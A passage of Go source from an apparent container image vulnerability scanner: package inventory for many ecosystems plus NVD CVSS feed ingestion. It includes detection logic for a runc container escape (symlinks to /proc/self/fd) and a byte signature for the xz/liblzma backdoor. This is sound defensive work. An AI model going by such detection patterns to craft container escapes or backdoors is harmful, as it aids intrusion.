peLine := strings.Split(pe, "\n")
for _, l := range peLine {
index := strings.Index(l, ":")
if index > -1 {
values := strings.Split(l, ":")
values[1] = strings.Replace(values[1], " ", "", -1)
switch values[0] {
// For ubuntu/debian
case "Package":
p.Name = values[1]
case "Version":
if len(values) > 2 {
values[2] = strings.Replace(values[2], " ", "", -1)
p.Version = values[2]
} else {
p.Version = values[1]
}
case "Architecture":
p.Architecture = values[1]
// For alpine linux
case "P":
p.Name = values[1]
case "V":
p.Version = values[1]
default:
// ignore
}
}
}
s.Packs = append(s.Packs, p)
}
return nil
}
================================================
FILE: pkg/packages/arch.go
================================================
package packages
import (
"context"
"regexp"
"strings"
)
func (s *Packages) getArchPacks(ctx context.Context, pacman string) error {
packs := strings.Split(pacman, "\n")
for _, pe := range packs {
if len(pe) < 1 {
continue
}
index := strings.Index(pe, "[ALPM] installed")
if index > -1 {
p := &Package{}
inform := regexp.MustCompile(`((\w+\-)?(\w+\-)?(\w+))?\s\((.*?)\)`)
value := inform.FindStringSubmatch(pe)
if len(value) > 0 {
v := strings.Split(value[0], " ")
p.Name = v[0]
p.Version = value[len(value)-1]
}
s.Packs = append(s.Packs, p)
}
}
return nil
}
================================================
FILE: pkg/packages/general.go
================================================
package packages
import (
"bufio"
"context"
"fmt"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
)
func (s *Packages) Traverse(ctx context.Context) error {
m := s.Mani
fsys := os.DirFS(m.Localpath)
if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error {
switch {
case err != nil:
return err
case d.IsDir():
// Get node model
if strings.HasSuffix(path, "node_modules") && strings.Count(path, "node_modules") < 2 {
return s.getNodeModulePacks(path)
}
// Get wordpress version
if filepath.Base(path) == "wordpress" && strings.Count(path, "wordpress") < 2 {
wordPath := filepath.Join(m.Localpath, path)
wordpress, err := getWordpressInfo(wordPath)
if err == nil {
wordpress.Path = path
s.PHPPacks = append(s.PHPPacks, wordpress)
}
}
// Check python virtual environment and exclude poetry
if filepath.Base(path) == "site-packages" &&
!strings.HasPrefix(path, "usr/local/lib") && !strings.Contains(path, "pypoetry") {
sitePath := filepath.Join(m.Localpath, path)
pips, err := getLocalPythonPacks(sitePath)
if err != nil {
return err
}
py := &Python{
Version: fmt.Sprintf("python venv path: %s", path),
SitePacks: pips,
SitePath: path,
}
s.PythonPacks = append(s.PythonPacks, py)
}
// Check special path /var/www/html
if path == "var/www/html" {
dirPath := filepath.Join(m.Localpath, path)
switch getHTMLType(dirPath) {
case "php":
wordpress, err := getWordpressInfo(dirPath)
if err != nil {
return err
}
wordpress.Path = path
s.PHPPacks = append(s.PHPPacks, wordpress)
default:
// ignore
}
}
return nil
}
// Parse jar, war
if strings.HasSuffix(path, ".jar") || strings.HasSuffix(path, ".war") {
filename := filepath.Join(m.Localpath, path)
f, err := os.Open(filename)
if err != nil {
return nil
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
return err
}
java, err := getJavaPacks(f, fi.Size())
if err != nil {
return err
}
java.Path = path
if java.Name == "" {
java.Name = filepath.Base(path)
}
s.JavaPacks = append(s.JavaPacks, java)
}
// Parse PHP composer.lock
if strings.HasSuffix(path, "composer.lock") {
filename := filepath.Join(m.Localpath, path)
f, err := os.Open(filename)
if err != nil {
return nil
}
defer f.Close()
php, err := getPHPPacks(f)
if err != nil {
return err
}
comparePath := filepath.Join(filepath.Dir(filename), "composer.json")
if exists(comparePath) {
cf, err := os.Open(comparePath)
if err == nil {
defer cf.Close()
php.Name = parsePHPName(cf)
}
}
if php.Name == "" {
php.Name = path
}
php.Path = path
s.PHPPacks = append(s.PHPPacks, php)
}
// Parse package management of Python poetry
if strings.HasSuffix(path, "pyproject.toml") {
filename := filepath.Join(m.Localpath, path)
py, err := getPyproject(filename)
if err != nil {
return nil
}
s.PythonPacks = append(s.PythonPacks, py)
}
in, err := d.Info()
if err != nil {
return nil
}
mode := in.Mode()
// Check the link file
if mode&os.ModeSymlink != 0 {
filename := filepath.Join(m.Localpath, path)
targetPath, err := os.Readlink(filename)
if err != nil {
return err
}
targetPath = strings.Replace(targetPath, m.Localpath, "", -1)
// Check CVE-2024-21626
// Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
runcRegex := regexp.MustCompile(`(?i)/proc/self/fd`)
if runcRegex.MatchString(targetPath) {
oth := &Other{
Name: "Malicious file link",
Title: "CVE-2024-21626",
Score: 7.5,
Level: "high",
Desc: fmt.Sprintf("File '%s' has been linked to the directory of proc fd: '%s', "+
"which has a potential container escape.", path, targetPath),
}
s.Others = append(s.Others, oth)
}
return nil
}
// Check the liblzma library backdoor
// https://www.openwall.com/lists/oss-security/2024/03/29/4
if strings.Contains(path, "liblzma.so") {
filename := filepath.Join(m.Localpath, path)
if checkLiblzma(filename) {
oth := &Other{
Name: "liblzma.so backdoor",
Title: "CVE-2024-3094",
Score: 9.5,
Level: "critical",
Desc: fmt.Sprintf("File '%s' is a susupicious backdoor "+
"becuase the malicious code was discovered in the upstream tarballs of xz.", path),
}
s.Others = append(s.Others, oth)
}
}
// Check the executable file
if mode.IsRegular() && mode.Perm()&0555 != 0 {
filename := filepath.Join(m.Localpath, path)
f, err := os.Open(filename)
if err != nil {
return nil
}
defer f.Close()
// Parse go binary
gobin, err := getGOPacks(f)
if err != nil {
goto rustCheck
}
gobin.Path = path
s.GOPacks = append(s.GOPacks, gobin)
rustCheck:
rustbin, err := getRustPacks(f)
if err != nil {
return nil
}
rustbin.Path = path
s.RustPacks = append(s.RustPacks, rustbin)
}
return nil
}); err != nil {
return err
}
return nil
}
func getHTMLType(path string) string {
extensions := map[string]int{
"php": 0,
"js": 0,
}
files, err := ioutil.ReadDir(path)
if err != nil {
return ""
}
for _, file := range files {
if file.IsDir() {
continue
}
exSplit := strings.Split(file.Name(), ".")
if len(exSplit) < 2 {
continue
}
ex := exSplit[len(exSplit)-1]
if _, ok := extensions[ex]; ok {
extensions[ex] += 1
}
}
type kv struct {
Key string
Value int
}
var exs []kv
for k, v := range extensions {
exs = append(exs, kv{k, v})
}
sort.Slice(exs, func(i, j int) bool {
return exs[i].Value > exs[j].Value
})
if exs[0].Value > 0 {
return exs[0].Key
}
return ""
}
// checkLiblzma check the liblzma library backdoor
func checkLiblzma(path string) bool {
file, err := os.Open(path)
if err != nil {
return false
}
defer file.Close()
scanner := bufio.NewScanner(file)
signature := "f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410"
content := ""
for scanner.Scan() {
line := scanner.Bytes()
content += fmt.Sprintf("%02x", line)
}
if strings.Contains(content, signature) {
return true
}
return false
}
================================================
FILE: pkg/packages/get_package.go
================================================
package packages
import (
"context"
"log"
"strings"
)
var (
rpmId = []string{"centos", "rhel", "ol"}
)
func (s *Packages) GetApp(ctx context.Context) error {
m := s.Mani
s.Packs = []*Package{}
for _, r := range rpmId {
if strings.ToLower(s.OsRelease.OID) == r {
err := s.getRpmPacks(ctx)
if err != nil {
log.Printf("Get rpm packages failed: %v", err)
return err
}
return nil
}
}
rd, err := m.File("var/lib/dpkg/status")
if err != nil {
log.Printf("Dpkg get failed, error: %v", err)
}
dpkg := rd.String()
if dpkg != "" {
err = s.getAptPacks(ctx, dpkg)
}
rd, err = m.File("lib/apk/db/installed")
if err != nil {
log.Printf("Apk get failed, error: %v", err)
}
apk := rd.String()
if apk != "" {
err = s.getAptPacks(ctx, apk)
}
rd, err = m.File("var/log/pacman.log")
if err != nil {
log.Printf("Pacman get failed, error: %v", err)
}
pacman := rd.String()
if pacman != "" {
err = s.getArchPacks(ctx, pacman)
}
err = s.getSitePacks(ctx)
err = s.Traverse(ctx)
return err
}
================================================
FILE: pkg/packages/go.go
================================================
package packages
import (
"debug/buildinfo"
"io"
"strings"
)
type MOD struct {
Name string `json:"name"`
Path string `json:"path"`
Version string `json:"version"`
}
type GOBIN struct {
Name string `json:"name"`
Path string `json:"path"`
Deps []*MOD `json:"deps"`
}
func getGOPacks(rt io.ReaderAt) (*GOBIN, error) {
gobin := &GOBIN{}
mods := []*MOD{}
info, err := buildinfo.Read(rt)
if err != nil {
return gobin, err
}
if info.Main.Path == "" {
gobin.Name = "gobinary"
} else {
nameSplit := strings.Split(info.Main.Path, "/")
gobin.Name = nameSplit[len(nameSplit)-1]
}
for _, dep := range info.Deps {
if dep.Path == "" || !strings.Contains(dep.Path, "github.com") {
continue
}
modNameArray := strings.Split(dep.Path, "/")
if len(modNameArray) > 3 {
// Submodule of the origin module
continue
}
mod := &MOD{
Name: modNameArray[2],
Path: dep.Path,
Version: dep.Version,
}
mods = append(mods, mod)
}
gobin.Deps = mods
return gobin, nil
}
================================================
FILE: pkg/packages/java.go
================================================
package packages
import (
"archive/zip"
"errors"
"io"
"io/ioutil"
"path/filepath"
"regexp"
"strings"
)
type JAVA struct {
Name string `json:"name"`
Path string `json:"path"`
Jars []*Jar `json:"jars"`
}
type Jar struct {
Name string
Version string
}
var (
versionReg = regexp.MustCompile(`version=(.*)`)
artifactReg = regexp.MustCompile(`artifactId=(.*)`)
NameRegs = []*regexp.Regexp{
regexp.MustCompile(`Implementation-Title: (.*)`),
regexp.MustCompile(`Start-Class: (.*)`),
regexp.MustCompile(`Specification-Title: (.*)`),
}
// Reference: https://github.com/aquasecurity/go-dep-parser/blob/main/pkg/java/jar/parse.go#L24
jarRegEx = regexp.MustCompile(`^([a-zA-Z0-9\._-]*[^-*])-(\d\S*(?:-SNAPSHOT)?).jar$`)
jarNameMap = map[string]string{
"log4j-core": "log4j",
}
)
func getJavaPacks(rt io.ReaderAt, size int64) (*JAVA, error) {
java := &JAVA{}
jars := []*Jar{}
jar, err := zip.NewReader(rt, size)
if err != nil {
return java, err
}
for _, f := range jar.File {
switch {
case strings.HasSuffix(f.Name, "pom.properties"):
property, err := parseProperties(f)
if err != nil {
continue
}
jars = append(jars, property)
case strings.HasSuffix(f.Name, "MANIFEST.MF"):
java.Name = strings.TrimSpace(parseManifest(f))
case strings.HasSuffix(f.Name, ".jar"):
lib, err := parseLib(f.Name)
if err != nil {
continue
}
jars = append(jars, lib)
default:
// ignore
}
}
java.Jars = jars
return java, nil
}
func parseProperties(file *zip.File) (*Jar, error) {
jar := &Jar{}
jr, err := file.Open()
if err != nil {
return jar, err
}
defer jr.Close()
d, _ := ioutil.ReadAll(jr)
data := string(d)
name := artifactReg.FindStringSubmatch(data)
if len(name) > 1 {
jar.Name = name[1]
}
jarVersion := versionReg.FindStringSubmatch(data)
if len(jarVersion) > 1 {
jar.Version = jarVersion[1]
} else {
err = errors.New("no version find")
return jar, err
}
return jar, nil
}
func parseManifest(file *zip.File) string {
mani, err := file.Open()
if err != nil {
return ""
}
defer mani.Close()
d, _ := ioutil.ReadAll(mani)
data := string(d)
for _, reg := range NameRegs {
title := reg.FindStringSubmatch(data)
if len(title) > 1 {
return title[1]
}
}
return ""
}
func parseLib(jarName string) (*Jar, error) {
jar := &Jar{}
jarVersion := filepath.Base(jarName)
jarMath := jarRegEx.FindStringSubmatch(jarVersion)
if len(jarMath) > 2 {
jar.Version = jarMath[2]
} else {
err := errors.New("not a jar library")
return jar, err
}
jar.Name = jarMath[1]
for k, v := range jarNameMap {
if jar.Name == k {
jar.Name = v
break
}
}
return jar, nil
}
================================================
FILE: pkg/packages/node.go
================================================
package packages
import (
"fmt"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/tidwall/gjson"
)
type NPM struct {
Name string `json:"name"`
Version string `json:"version"`
}
type Node struct {
Version string `json:"version"`
NPMS []*NPM `json:"NPMS"`
}
func (s *Packages) getNodeModulePacks(nodePath string) error {
m := s.Mani
sys := filepath.Join(m.Localpath, nodePath)
dir, err := ioutil.ReadDir(sys)
if err != nil {
return err
}
npms, err := getNodeModules(sys, dir)
node := &Node{
Version: fmt.Sprintf(`nodejs (%s)`, strings.TrimSuffix(nodePath, "node_modules")),
NPMS: npms,
}
if strings.Contains(nodePath, "usr/local/lib/node_modules") {
node.Version = "nodejs (global)"
}
s.NodePacks = append(s.NodePacks, node)
return nil
}
func getNodeModules(path string, dir []fs.FileInfo) ([]*NPM, error) {
npms := []*NPM{}
for _, f := range dir {
if f.IsDir() {
jsonFile := filepath.Join(path, f.Name(), "package.json")
if ok := exists(jsonFile); !ok {
continue
}
moduleFile, err := os.Open(jsonFile)
if err != nil {
continue
}
data, _ := ioutil.ReadAll(moduleFile)
version := gjson.Get(string(data), "version")
npm := &NPM{
Version: version.String(),
Name: f.Name(),
}
npms = append(npms, npm)
moduleFile.Close()
}
}
return npms, nil
}
================================================
FILE: pkg/packages/package.go
================================================
package packages
import (
"github.com/kvesta/vesta/pkg/layer"
"github.com/kvesta/vesta/pkg/osrelease"
)
type Packages struct {
Mani layer.Manifest `json:"manifest"`
OsRelease osrelease.OsVersion `json:"os_release"`
// List all installed packages
Packs []*Package `json:"packs"`
PythonPacks []*Python `json:"python_pack"`
NodePacks []*Node `json:"node_packs"`
GOPacks []*GOBIN `json:"go_packs"`
JavaPacks []*JAVA `json:"java_packs"`
PHPPacks []*PHP `json:"php_packs"`
RustPacks []*Rust `json:"rust_packs"`
Others []*Other `json:"others"`
}
type Package struct {
PID string `json:"pid"`
Name string `json:"name"`
Version string `json:"version"`
Architecture string `json:"architecture"`
}
type Other struct {
Name string `json:"name"`
Title string `json:"title"`
Score float64 `json:"score"`
Level string `json:"level"`
Desc string `json:"description"`
}
================================================
FILE: pkg/packages/parse_test.go
================================================
package packages
import (
"io"
"os"
"reflect"
"testing"
)
func TestParseGo(t *testing.T) {
type args struct {
r io.ReaderAt
}
f, _ := os.Open("testdata/gobintest")
defer f.Close()
goResult := &GOBIN{
Name: "gobinary",
Deps: []*MOD{
{
Name: "go-querystring",
Path: "github.com/google/go-querystring",
Version: "v1.1.0",
},
},
}
tests := []struct {
name string
args args
want *GOBIN
wantErr bool
}{
{
name: "parseGoTest",
args: args{r: f},
want: goResult,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, err := getGOPacks(tt.args.r)
if (err != nil) != tt.wantErr {
t.Errorf("parseGo() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("parseGo() got = %v, want %v", got, tt.want)
}
})
}
}
func TestParseJava(t *testing.T) {
type args struct {
rt io.ReaderAt
}
f, _ := os.Open("testdata/test.jar")
defer f.Close()
fi, _ := f.Stat()
javaResult := &JAVA{
Name: "Winstone",
Jars: []*Jar{
{
Name: "winstone",
Version: "6.6",
},
{
Name: "slf4j-api",
Version: "2.0.3",
},
{
Name: "slf4j-jdk14",
Version: "2.0.3",
},
},
}
tests := []struct {
name string
args args
want *JAVA
wantErr bool
}{
{
name: "parseJavaTest",
args: args{rt: f},
want: javaResult,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, err := getJavaPacks(tt.args.rt, fi.Size())
if (err != nil) != tt.wantErr {
t.Errorf("parseJava() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("parseJava() got = %v, want %v", got, tt.want)
}
})
}
}
func TestParsePHP(t *testing.T) {
type args struct {
r io.Reader
}
f, _ := os.Open("testdata/composer.lock")
defer f.Close()
phpResult := &PHP{
Packs: []*PHPPack{
{
Name: "thinkphp",
Component: "topthink/framework",
Version: "v5.0.23",
},
{
Name: "think-captcha",
Component: "topthink/think-captcha",
Version: "v1.0.7",
},
{
Name: "think-installer",
Component: "topthink/think-installer",
Version: "v1.0.12",
},
},
}
tests := []struct {
name string
args args
want *PHP
wantErr bool
}{
{
name: "parsePHPTest",
args: args{r: f},
want: phpResult,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, err := getPHPPacks(tt.args.r)
if (err != nil) != tt.wantErr {
t.Errorf("parsePHP() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("parsePHP() got = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: pkg/packages/php.go
================================================
package packages
import (
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"regexp"
"strings"
"github.com/tidwall/gjson"
)
type PHP struct {
Name string `json:"name"`
Path string `json:"path"`
Packs []*PHPPack `json:"packs"`
}
type PHPPack struct {
Name string `json:"name"`
Component string `json:"component"`
Version string `json:"version"`
}
// Map framework name to standard name
var phpNameMap = map[string]string{"topthink/framework": "thinkphp"}
func getPHPPacks(r io.Reader) (*PHP, error) {
php := &PHP{}
phpPacks := []*PHPPack{}
data, _ := ioutil.ReadAll(r)
composers := gjson.Get(string(data), "packages").Value()
if composers != nil {
packs := composers.([]interface{})
for _, packIn := range packs {
pack := packIn.(map[string]interface{})
phpName := pack["name"].(string)
if get, ok := phpNameMap[phpName]; ok {
phpName = get
} else {
phpName = filepath.Base(phpName)
}
p := &PHPPack{
Name: phpName,
Component: pack["name"].(string),
Version: pack["version"].(string),
}
phpPacks = append(phpPacks, p)
}
}
php.Packs = phpPacks
return php, nil
}
func parsePHPName(r io.Reader) string {
data, _ := ioutil.ReadAll(r)
composer := gjson.Get(string(data), "name").Value()
if composer != nil {
return composer.(string)
}
return ""
}
func getWordpressInfo(dir string) (*PHP, error) {
php := &PHP{
Name: "wordpress",
}
phpPacks := []*PHPPack{}
wversionReg := regexp.MustCompile(`\$wp_version = '(.*)'`)
versionPath := filepath.Join(dir, "wp-includes/version.php")
versionFile, err := os.Open(versionPath)
if err != nil {
return php, err
}
defer versionFile.Close()
data, _ := ioutil.ReadAll(versionFile)
versionMatch := wversionReg.FindStringSubmatch(string(data))
if len(versionMatch) > 1 {
p := &PHPPack{
Name: "wordpress",
Component: "wordpress",
Version: versionMatch[1],
}
phpPacks = append(phpPacks, p)
}
pluginsDir := filepath.Join(dir, "wp-content/plugins")
plugins, err := ioutil.ReadDir(pluginsDir)
if err != nil {
goto check
}
for _, file := range plugins {
if file.IsDir() {
pluginName := file.Name()
pluginPath := filepath.Join(pluginsDir, pluginName)
pluginVersion := parseWordpressPluginVersion(pluginPath, pluginName)
if pluginVersion == "" {
continue
}
p := &PHPPack{
Name: fmt.Sprintf("plugin: %s", pluginName),
Version: pluginVersion,
}
phpPacks = append(phpPacks, p)
}
}
check:
if len(phpPacks) < 1 {
err = errors.New("no wordpress was detected")
return php, err
}
php.Packs = phpPacks
return php, nil
}
func parseWordpressPluginVersion(dir, pluginName string) string {
versionFile := filepath.Join(dir, fmt.Sprintf("%s.php", pluginName))
f, err := os.Open(versionFile)
if err == nil {
defer f.Close()
pluginVersionReg := regexp.MustCompile(`Version:(.*)`)
data, _ := ioutil.ReadAll(f)
pluginVersionMatch := pluginVersionReg.FindStringSubmatch(string(data))
if len(pluginVersionMatch) > 1 {
return strings.TrimSpace(pluginVersionMatch[1])
}
}
// Find in readme.txt
readmeName := filepath.Join(dir, "readme.txt")
read, err := os.Open(readmeName)
if err != nil {
return ""
}
defer read.Close()
data, _ := ioutil.ReadAll(read)
readmeReg := regexp.MustCompile(`Stable tag:(.*)`)
readVersionMatch := readmeReg.FindStringSubmatch(string(data))
if len(readVersionMatch) > 1 {
return strings.TrimSpace(readVersionMatch[1])
}
return ""
}
================================================
FILE: pkg/packages/python.go
================================================
package packages
import (
"context"
"io/ioutil"
"os"
"path/filepath"
"regexp"
"strings"
"github.com/BurntSushi/toml"
)
var (
pyVersion = regexp.MustCompile(`^python\d+\.\d+$`)
module = regexp.MustCompile(`(.*).dist-info`)
)
type PIP struct {
Name string `json:"name"`
Version string `json:"version"`
}
type Python struct {
Version string `json:"version"`
SitePacks []*PIP `json:"SitePacks"`
SitePath string `json:"sitePath"`
}
// GetSitePacks get pip installed module. find all installed packs in
// /usr/local/lib//site-packages. list all the `.dist-info`
// directories and parse it. ignore `.egg-info` directories. same as
// `pip freeze`
func (s *Packages) getSitePacks(ctx context.Context) error {
m := s.Mani
fsys := filepath.Join(m.Localpath, "usr/local/lib")
dir, err := ioutil.ReadDir(fsys)
if err != nil {
return err
}
for _, f := range dir {
if ok := pyVersion.MatchString(f.Name()); ok {
path := filepath.Join(fsys, f.Name(), "site-packages")
if ok := exists(path); !ok {
path = filepath.Join(fsys, f.Name(), "dist-packages")
if ok := exists(path); !ok {
continue
}
}
sitePack, err := getPIPModules(path)
if err != nil {
return err
}
py := &Python{
Version: f.Name(),
SitePacks: sitePack,
SitePath: strings.TrimPrefix(path, m.Localpath),
}
s.PythonPacks = append(s.PythonPacks, py)
}
}
return nil
}
// getPIPModules get all install module from site-packages
func getPIPModules(path string) ([]*PIP, error) {
pips := []*PIP{}
dir, err := ioutil.ReadDir(path)
if err != nil {
return nil, err
}
for _, f := range dir {
find := module.FindString(f.Name())
if find != "" {
p := parse(f.Name())
pips = append(pips, p)
}
}
return pips, nil
}
// getPyproject from pyproject.toml
func getPyproject(filename string) (*Python, error) {
py := &Python{}
pips := []*PIP{}
data, err := ioutil.ReadFile(filename)
if err != nil {
return py, err
}
var config map[string]interface{}
_, err = toml.Decode(string(data), &config)
if err != nil {
return py, err
}
libs := config["tool"].(map[string]interface{})["poetry"].(map[string]interface{})["dependencies"].(map[string]interface{})
for name, version := range libs {
if name == "python" {
py.Version = strings.TrimPrefix(version.(string), "^")
continue
}
pip := &PIP{
Name: name,
Version: strings.TrimPrefix(version.(string), "^"),
}
pips = append(pips, pip)
}
py.SitePacks = pips
py.SitePath = "poetry"
return py, nil
}
// getLocalPythonPacks for command `pip install packs -t `
func getLocalPythonPacks(path string) ([]*PIP, error) {
pips := []*PIP{}
dir, err := ioutil.ReadDir(path)
if err != nil {
return pips, err
}
for _, f := range dir {
find := module.FindString(f.Name())
if find != "" {
p := parse(f.Name())
pips = append(pips, p)
}
}
return pips, nil
}
func parse(pathname string) *PIP {
moduleVersion := strings.Replace(pathname, ".dist-info", "", -1)
v := strings.Split(moduleVersion, "-")
p := &PIP{
Name: v[0],
Version: v[1],
}
return p
}
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
================================================
FILE: pkg/packages/rpm.go
================================================
package packages
import (
"context"
"path/filepath"
rpmdb "github.com/knqyf263/go-rpmdb/pkg"
)
func (s *Packages) getRpmPacks(ctx context.Context) error {
dbFiles := []string{
"var/lib/rpm/Packages",
"var/lib/rpm/Packages.db",
"var/lib/rpm/rpmdb.sqlite",
}
for _, dbPath := range dbFiles {
rpmPath := filepath.Join(s.Mani.Localpath, dbPath)
db, err := rpmdb.Open(rpmPath)
if err != nil {
continue
}
pkgList, err := db.ListPackages()
if err != nil {
continue
}
for _, pkg := range pkgList {
p := &Package{
Name: pkg.Name,
Version: pkg.Version,
Architecture: pkg.Arch,
}
s.Packs = append(s.Packs, p)
}
}
return nil
}
================================================
FILE: pkg/packages/rust.go
================================================
package packages
import (
"io"
"github.com/microsoft/go-rustaudit"
)
type Rust struct {
Name string `json:"name"`
Path string `json:"path"`
Deps []*Cargo `json:"deps"`
}
type Cargo struct {
Name string `json:"name"`
Version string `json:"version"`
}
func getRustPacks(rt io.ReaderAt) (*Rust, error) {
rust := &Rust{}
deps := []*Cargo{}
audit, err := rustaudit.GetDependencyInfo(rt)
if err != nil {
return rust, err
}
for _, dep := range audit.Packages {
d := &Cargo{
Name: dep.Name,
Version: dep.Version,
}
deps = append(deps, d)
}
rust.Deps = deps
return rust, nil
}
================================================
FILE: pkg/vulnlib/client.go
================================================
package vulnlib
import (
"database/sql"
"net/http"
)
type Client struct {
Cli *http.Client
DB *sql.DB
Store string
}
type DBRow struct {
Id int
Hash string
VulnName string
MaxVersion string
MinVersion string
Description string
Level string
CVEID string
Source string
PublishDate string
Component string
Score float64
}
type cpes struct {
Name string
MaxVersion string
MinVersion string
component string
}
type vuln struct {
cpe []*cpes
score float64
level string
desc string
publishDate string
cveID string
reference string
source string
}
================================================
FILE: pkg/vulnlib/cvss.go
================================================
package vulnlib
import (
"bufio"
"compress/gzip"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
version2 "github.com/hashicorp/go-version"
"github.com/tidwall/gjson"
)
const (
cvssUrl = "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-%d.json.gz"
firstYear = 2010
)
func (c *Client) GetCvss(ctx context.Context) error {
// Try to delete newest cvss json file and re-download them
if checkExpired(c.Store) {
newFile := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", time.Now().Year()))
os.Remove(newFile)
}
for y, now := firstYear, time.Now().Year(); y <= now; y++ {
filename := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", y))
if exists(filename) {
//log.Printf("cvss nvdcve-1.1-%d.json existed", y)
continue
}
url := fmt.Sprintf(cvssUrl, y)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
if err != nil {
log.Printf("failed to get url: %s", url)
continue
}
res, err := c.Cli.Do(req)
if err != nil {
log.Printf("failed to request url: %s", url)
continue
}
gz, err := gzip.NewReader(res.Body)
if err != nil {
res.Body.Close()
continue
}
err = store(gz, filename)
if err != nil {
gz.Close()
res.Body.Close()
return err
}
log.Printf("Downloading cvss nvdcve-1.1-%d.json successful", y)
gz.Close()
res.Body.Close()
}
log.Printf("Downloading cvss file is done")
// Update cvss data to database
err := c.cvssToDB()
if err != nil {
log.Printf("failed to store cvss")
return err
}
log.Printf("Cvss updating finish")
return nil
}
func store(r io.Reader, filename string) error {
data, err := ioutil.ReadAll(r)
if err != nil {
return err
}
err = os.WriteFile(filename, data, 0644)
if err != nil {
return err
}
return nil
}
func (c *Client) cvssToDB() error {
cvssFiles, err := ioutil.ReadDir(c.Store)
if err != nil {
log.Printf("failed to list dir '%s'", c.Store)
return err
}
// Optimized update progress
upToDateFile := filepath.Join(c.Store, fmt.Sprintf("nvdcve-1.1-%d.json", time.Now().Year()))
logFile := filepath.Join(c.Store, "date.txt")
if exists(logFile) {
return readCVSS(upToDateFile, c.cvssParse)
}
for _, cf := range cvssFiles {
if !strings.Contains(cf.Name(), "nvdcve-1.1") {
continue
}
cveFile := filepath.Join(c.Store, cf.Name())
err = readCVSS(cveFile, c.cvssParse)
if err != nil {
log.Printf("%s is stored failed", cf.Name())
continue
}
log.Printf("%s is stored successfully", cf.Name())
}
return nil
}
func readCVSS(filename string, handle func(filename string) error) error {
f, err := os.Open(filename)
defer f.Close()
if err != nil {
return err
}
buf := bufio.NewReader(f)
var lines string
for {
line, _, err := buf.ReadLine()
strline := strings.TrimSpace(string(line))
if strings.Contains(strline, `"cve" :`) {
err = handle(lines)
if err != nil {
return err
}
lines = strline
} else {
lines += strline
}
if err != nil {
if err == io.EOF {
return nil
}
return err
}
}
}
func (c *Client) cvssParse(data string) error {
// Skip the headers
if !strings.Contains(data, `"cve"`) {
return nil
}
data = "{" + data[:len(data)-3]
cveitems := gjson.Parse(data).Value()
cve := cveitems.(map[string]interface{})["cve"].(map[string]interface{})
cveID := cve["CVE_data_meta"].(map[string]interface{})["ID"].(string)
if cveID == "" {
return nil
}
publishDate := cveitems.(map[string]interface{})["publishedDate"].(string)
publishDate = strings.Replace(publishDate, "Z", "", -1)
pd, _ := time.Parse("2006-01-02T15:04", publishDate)
publishDate = pd.Format("2006-01-02")
var description string
descriptionData := cve["description"].(map[string]interface{})["description_data"]
if descriptionData == nil {
description = ""
} else {
description = descriptionData.([]interface{})[0].(map[string]interface{})["value"].(string)
}
cpe := cveitems.(map[string]interface{})["configurations"].(map[string]interface{})["nodes"].([]interface{})
cpeResult := cpeParse(cpe)
if len(cpeResult) < 1 {
return nil
}
var score float64
var level string
if len(cveitems.(map[string]interface{})["impact"].(map[string]interface{})) < 1 {
return nil
}
if cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV3"] == nil {
baseMetricV2 := cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV2"].(map[string]interface{})
score = baseMetricV2["cvssV2"].(map[string]interface{})["baseScore"].(float64)
level = baseMetricV2["severity"].(string)
} else {
cvssV3 := cveitems.(map[string]interface{})["impact"].(map[string]interface{})["baseMetricV3"].(map[string]interface{})["cvssV3"].(map[string]interface{})
score = cvssV3["baseScore"].(float64)
level = cvssV3["baseSeverity"].(string)
}
vulnes := &vuln{
cpe: cpeResult,
score: score,
level: level,
desc: description,
publishDate: publishDate,
cveID: cveID,
source: "CVSS",
}
if vulnes != nil {
err := c.update(vulnes)
if err != nil {
return err
}
}
return nil
}
func cpeParse(cpe []interface{}) []*cpes {
cs := []*cpes{}
for index := 0; index < len(cpe); index++ {
cpeChildren := cpe[index].(map[string]interface{})["children"].([]interface{})
if len(cpeChildren) > 0 {
cpeParse(cpeChildren)
}
cpeMatch := cpe[index].(map[string]interface{})["cpe_match"].([]interface{})
isFirst := true
for _, ci := range cpeMatch {
c := ci.(map[string]interface{})
if !c["vulnerable"].(bool) {
continue
}
cpe23 := c["cpe23Uri"].(string)
cpe23Split := strings.Split(cpe23, ":")
if i := findName(cs, cpe23Split[4]); i < 0 && !isFirst {
continue
} else {
if i > -1 && cs[i].MinVersion == "0.0" {
cs[i].MaxVersion = cpe23Split[5]
if c["versionStartIncluding"] != nil {
cs[i].MinVersion = "=" + c["versionStartIncluding"].(string)
} else if c["versionStartExcluding"] != nil {
cs[i].MinVersion = c["versionStartExcluding"].(string)
}
if c["versionEndIncluding"] != nil {
cs[i].MaxVersion = "=" + c["versionEndIncluding"].(string)
} else if c["versionEndExcluding"] != nil {
cs[i].MaxVersion = c["versionEndExcluding"].(string)
}
continue
}
}
if cpe23Split[10] != "python" && cpe23Split[10] != "node.js" {
cpe23Split[10] = "*"
}
scpe := &cpes{
Name: cpe23Split[4],
